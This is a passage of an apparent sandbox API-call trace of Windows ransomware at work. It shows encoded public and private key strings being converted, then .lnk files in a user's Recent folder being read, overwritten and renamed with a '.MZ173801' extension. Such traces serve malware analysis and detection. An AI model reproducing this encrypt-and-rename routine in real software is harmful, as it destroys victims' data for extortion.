lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.638] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.639] GetCurrentThreadId () returned 0xab4 [0147.639] GetCurrentThreadId () returned 0xab4 [0147.639] GetCurrentThreadId () returned 0xab4 [0147.639] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GE2XWZw-UJlajB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ge2xwzw-ujlajb.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.639] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.639] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.639] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x29c [0147.639] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0147.639] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x29c, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x29c, lpOverlapped=0x0) returned 1 [0147.640] CloseHandle (hObject=0x280) returned 1 [0147.640] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GE2XWZw-UJlajB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ge2xwzw-ujlajb.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.644] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x29c, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x29c, lpOverlapped=0x0) returned 1 [0147.645] CloseHandle (hObject=0x280) returned 1 [0147.646] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GE2XWZw-UJlajB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ge2xwzw-ujlajb.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\GE2XWZw-UJlajB.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ge2xwzw-ujlajb.lnk.mz173801")) returned 1 [0147.646] GetCurrentThreadId () returned 0xab4 [0147.646] GetCurrentThreadId () returned 0xab4 [0147.646] GetCurrentThreadId () returned 0xab4 [0147.646] GetCurrentThreadId () returned 0xab4 [0147.646] GetCurrentThreadId () returned 0xab4 [0147.646] GetCurrentThreadId () returned 0xab4 [0147.646] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dddc3ca, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4dddc3ca, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4dddd1b9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x315, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="gENSLI1SLB1QB.lnk", cAlternateFileName="GENSLI~1.LNK")) returned 1 [0147.646] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0147.646] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0147.646] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gENSLI1SLB1QB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gensli1slb1qb.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4dddc3ca, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x4dddc3ca, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x4dddd1b9, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x315)) returned 1 [0147.647] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gENSLI1SLB1QB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gensli1slb1qb.lnk")) returned 0x20 [0147.647] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gENSLI1SLB1QB.lnk", dwFileAttributes=0x80) returned 1 [0147.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0147.648] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0147.649] GetCurrentThreadId () returned 0xab4 [0147.649] GetCurrentThreadId () returned 0xab4 [0147.649] GetCurrentThreadId () returned 0xab4 [0147.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0147.650] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0147.650] GetCurrentThreadId () returned 0xab4 [0147.650] GetCurrentThreadId () returned 0xab4 [0147.650] GetCurrentThreadId () returned 0xab4 [0147.650] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\gENSLI1SLB1QB.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\gensli1slb1qb.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0147.650] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0147.650] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, 